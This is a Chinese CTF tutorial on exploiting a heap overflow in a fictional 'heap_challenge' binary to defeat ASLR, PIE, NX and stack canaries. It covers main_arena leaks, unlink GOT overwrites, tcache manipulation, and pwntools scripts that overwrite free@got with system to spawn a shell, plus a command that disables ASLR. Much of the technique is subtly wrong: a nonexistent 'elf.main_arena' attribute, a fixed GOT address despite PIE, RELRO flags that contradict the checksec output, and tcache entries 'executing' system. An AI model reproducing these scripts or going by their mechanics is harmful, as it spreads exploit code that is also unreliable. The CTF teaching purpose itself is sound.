CTF实战:堆溢出漏洞绕过全防护拿Shell(含ASLR/NX/PIE/Stack Canary)
摘要: 本文以CTF竞赛中"全防护"堆题(heap_challenge)为例,详细解析如何通过堆溢出漏洞突破ASLR、NX、PIE、StackCanary等多重防护机制。首先通过堆溢出覆盖chunk元数据泄漏main_arena地址,推算libc基址;随后利用unlink操作修改GOT表项,结合ROP链或tcache机制实现代码执行。
CTF实战:CTF赛中的生死时速!堆溢出的高级应用技巧!
本文章仅提供学习,切勿将其用于不法手段!
前言:CTF中的“全防护”堆题是什么?
在CTF竞赛中,“全防护”堆题通常指目标程序开启了几乎所有主流内存保护机制,仅留一个堆溢出漏洞作为突破口。这类题目考验选手对内存管理机制的深度理解和多层级防御绕过能力。本文将以一道虚构但贴近真实的CTF题目(heap_challenge
)为例,演示如何从堆溢出出发,逐步突破ASLR、NX、PIE、Stack Canary等防御,最终拿到Shell权限。
第一部分:目标程序防护分析(CTF场景)
假设目标程序heap_challenge
的二进制信息如下(通过checksec
命令获取):
$ checksec heap_challenge
[*] '/ctf/heap_challenge'
Arch: amd64-64-little
RELRO: Partial RELRO # 部分重定位只读(GOT表可写)
Stack: Canary found # 栈金丝雀(Stack Canary)开启
NX: NX enabled # 不可执行页(NX)开启
PIE: PIE enabled # 地址空间随机化(PIE,二进制基址随机)
RWX: Has RWX segments # 存在可写可执行段(但NX开启,实际无用)
关键漏洞点:程序存在堆溢出漏洞(strcpy
复制用户输入到堆缓冲区时无长度限制),但其他防护全开。我们需要通过堆溢出突破所有防护,最终执行system("/bin/sh")
。
第二部分:信息收集与环境准备
2.1 调试工具与环境配置
- 工具链:
gdb
(带pwndbg
插件)、pwntools
(Python库)、objdump
(分析二进制)。 - 环境配置:
# 关闭ASLR(仅调试阶段,实际需绕过) echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 编译CTF程序(模拟题目给出的二进制,假设源码已知) gcc -o heap_challenge heap_challenge.c -fstack-protector-strong -Wformat-security -D_FORTIFY_SOURCE=2 -pie -z relro -z now
2.2 分析漏洞点(堆溢出位置)
通过反汇编(objdump -d heap_challenge
)和动态调试(gdb ./heap_challenge
),确定漏洞函数:
// 漏洞函数伪代码(通过逆向得到)
void vulnerable() {
char* buf1 = malloc(64); // 分配64字节堆块(chunk1)
char* buf2 = malloc(64); // 分配64字节堆块(chunk2,与chunk1相邻)
char* buf3 = malloc(64); // 分配64字节堆块(chunk3,分隔符)
// 危险操作:用户输入覆盖buf1,可能溢出到buf2的元数据
strcpy(buf1, user_input); // 无长度检查!
free(buf2); // 释放chunk2(触发unlink或tcache操作)
free(buf1); // 释放chunk1(可能触发二次unlink)
free(buf3); // 释放chunk3(无关)
}
关键观察:buf1
与buf2
的堆块相邻,strcpy
无长度限制,输入超过64字节会覆盖buf2
的chunk
元数据(prev_size
、size
、fd
、bk
)。
第三部分:突破层层防护的核心步骤
3.1 第一步:绕过PIE与ASLR——泄漏关键地址
PIE(位置无关可执行文件)和ASLR(地址空间随机化)的共同点是二进制和libc的基址随机化。要绕过它们,必须先泄漏一个已知地址(如GOT表项、堆地址),从而推算出基址。
3.1.1 利用堆溢出泄漏堆地址
堆的chunk
元数据中包含prev_size
和size
字段,而free
操作会将chunk
加入空闲链表(如fastbin
)。通过溢出覆盖buf2
的size
字段,使其指向一个可打印的堆地址(如main_arena
的地址),从而在free
时触发打印。
具体操作:
- 构造
user_input
覆盖buf2
的size
字段为0x51
(fastbin
大小标志,对应64字节块),并将fd
指向main_arena
的fastbin
链表头(通过调试获取main_arena
地址为0x7ffff7dc1b98
)。 - 当
free(buf2)
时,glibc
会将buf2
加入fastbin
,此时fd
指向的main_arena
地址会被写入buf2
的fd
字段(即堆中可控位置)。 - 再次分配
buf2
大小的堆块(malloc(64)
),返回的地址即为main_arena
的地址,从而泄漏main_arena
基址。
pwntools脚本示例:
from pwn import *
p = process('./heap_challenge')
elf = ELF('./heap_challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 替换为目标libc路径
# 构造泄漏main_arena的payload
payload = b'A' * 64 # 填充buf1
payload += p64(0x51) # chunk2的size(标记为fastbin)
payload += p64(elf.main_arena + 0x10) # chunk2的fd(指向main_arena的fastbin头)
p.sendline(payload)
# 触发free(buf2),将main_arena地址写入chunk2的fd位置
p.recvuntil(b"Enter input: ")
p.sendline(b"trigger_free")
# 重新分配chunk2,获取main_arena地址
p.sendline(b"realloc")
leak = p.recvline().strip()
main_arena = u64(leak.ljust(8, b'\x00'))
log.info(f"Leaked main_arena: {hex(main_arena)}")
# 计算libc基址(main_arena在libc中的偏移为0x3ebc40,以libc6_2.31-0ubuntu9_amd64为例)
libc_base = main_arena - 0x3ebc40
log.info(f"Libc base: {hex(libc_base)}")
3.1.2 绕过PIE——泄漏二进制基址
PIE开启时,二进制自身的函数地址(如printf
、free
)也会随机化。通过泄漏got.plt
中的某个函数地址(如printf@got
),可以推算出二进制基址。
操作逻辑:
- 利用堆溢出覆盖
buf2
的bk
字段(双链表后向指针),使其指向printf@got
地址。 - 当
free(buf2)
触发unlink
操作时,BK->fd = FD
会修改printf@got
的值为buf2
的fd
(可控值)。 - 调用
printf
时,实际会跳转到我们控制的地址,若该地址指向puts
,则可以打印printf@got
的内容(即printf
的真实地址),从而推算出二进制基址。
3.2 第二步:绕过Stack Canary——泄露或绕过金丝雀
Stack Canary是栈上的一个随机值,用于检测栈溢出。当函数返回时,会检查Canary值是否被修改,若被修改则触发SIGABRT
终止程序。
3.2.1 泄露Canary值
在CTF中,若程序存在格式化字符串漏洞或堆溢出可覆盖栈上Canary位置,可以泄漏Canary值。本题中堆溢出是否能覆盖栈?
- 分析
vulnerable
函数的栈布局:buf1
、buf2
、buf3
在堆上,它们的地址不会直接覆盖栈上的Canary(Canary通常位于函数栈帧的底部)。 - 替代方案:利用堆溢出修改
free
函数的参数(如fd
/bk
指针),使其指向栈上的Canary变量,通过printf
类函数打印该地址,从而泄漏Canary值。
3.2.2 绕过Canary检查
若无法泄漏Canary,可尝试覆盖栈上Canary之后的返回地址,但需保证Canary值不变。由于本题中堆溢出仅影响堆内存,无法直接覆盖栈,因此需结合其他漏洞(如本题假设仅堆溢出,可能需要通过堆操作间接影响栈)。
3.3 第三步:突破NX——构造ROP链或堆执行
NX(不可执行页)开启时,无法在数据页(如堆、栈)中执行代码。突破NX的常用方法是ROP(返回导向编程),利用现有代码片段(gadget)拼接出所需功能。
3.3.1 利用堆溢出控制返回地址
通过堆溢出覆盖某个函数的返回地址(如vulnerable
函数返回后的地址),将其指向一个ROP链。ROP链的第一步通常是泄露libc地址(已完成),第二步是调用system("/bin/sh")
。
3.3.2 基于tcache的ROP构造(64位特化)
glibc 2.26+引入tcache
(线程本地缓存),malloc
/free
会优先操作tcache
链表。若堆溢出能修改tcache_perthread_struct
的entries
指针,可将恶意块插入tcache
,在后续malloc
时执行任意代码。
关键操作:
- 覆盖
tcache_perthread_struct
的entries[0]
为system
函数地址。 - 插入一个
chunk
,其用户数据为"/bin/sh"
字符串。 - 当
malloc
分配该chunk
时,tcache
会返回该地址,程序执行流跳转到system("/bin/sh")
。
3.4 第四步:最终利用——获取Shell权限
综合以上步骤,最终的利用链可能如下:
- 泄漏
main_arena
地址 → 推算libc基址 → 得到system
和"/bin/sh"
地址。 - 泄漏二进制基址 → 绕过PIE → 确定
free@got
等GOT表项地址。 - **利用堆溢出修改
free@got
** → 指向system
函数。 - 触发
free
调用 → 执行system("/bin/sh")
→ 获取Shell。
完整pwntools脚本示例:
# 接前面泄漏main_arena和libc_base的代码
# 计算关键地址
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 构造覆盖free@got的payload(假设free@got地址为0x601018)
payload = b'A' * 64 # 填充buf1
payload += p64(0x51) # chunk2的size(fastbin)
payload += p64(0x601018 - 16) # chunk2的fd(指向free@got-16)
payload += p64(bin_sh_addr) # chunk2的bk(指向"/bin/sh")
p.sendline(payload)
# 触发free(buf2),unlink操作将free@got-16的bk指向free@got
# 再次free(buf1)时,覆盖free@got为system_addr
p.sendline(b"trigger_second_free")
# 触发system("/bin/sh")
p.sendline(b"/bin/sh") # 实际调用system("/bin/sh")
p.interactive() # 获取交互式Shell
第四部分:CTF中的常见坑与调试技巧
4.1 堆对齐与块大小
64位堆的chunk
需要按16字节对齐(size
字段的低4位为标志位),构造payload时需严格计算填充长度,避免因对齐错误导致unlink
失败。
4.2 tcache的限制
glibc 2.26+的tcache
每个bin最多存储7个块(TCACHE_MAX_BINS=64
对应小堆块),若超过数量,多余的块会被转移到smallbin
。利用时需控制malloc
次数,确保恶意块留在tcache
链表中。
4.3 调试技巧
- 使用
pwndbg
的heap
命令(如heap chunks
、heap bins
)查看堆状态。 - 在
free
函数处设置断点(b *free
),跟踪unlink
操作的指针变化。 - 使用
telescope
命令查看寄存器和内存中的具体值(如telescope $rsp
查看栈顶)。
结语:CTF堆题的核心思维
CTF堆题的本质是理解内存管理机制的每一个细节,并通过漏洞操作这些机制。从堆溢出到绕过全防护,每一步都需要对chunk
结构、bins
链表、tcache
等机制有深刻理解。记住:漏洞利用的关键不是“黑魔法”,而是“精准控制内存”。
思考题(CTF进阶):
在glibc 2.37+(启用tcache_stashing
和safe-linking
)的环境中,如何利用堆溢出绕过tcache
的保护,实现system("/bin/sh")
?
(提示:研究tcache_perthread_struct
的加密机制和安全链表的哈希校验原理。)
注:本文仅用于教育目的,实际渗透测试必须获得合法授权。未经授权的黑客行为是违法的。
更多推荐
所有评论(0)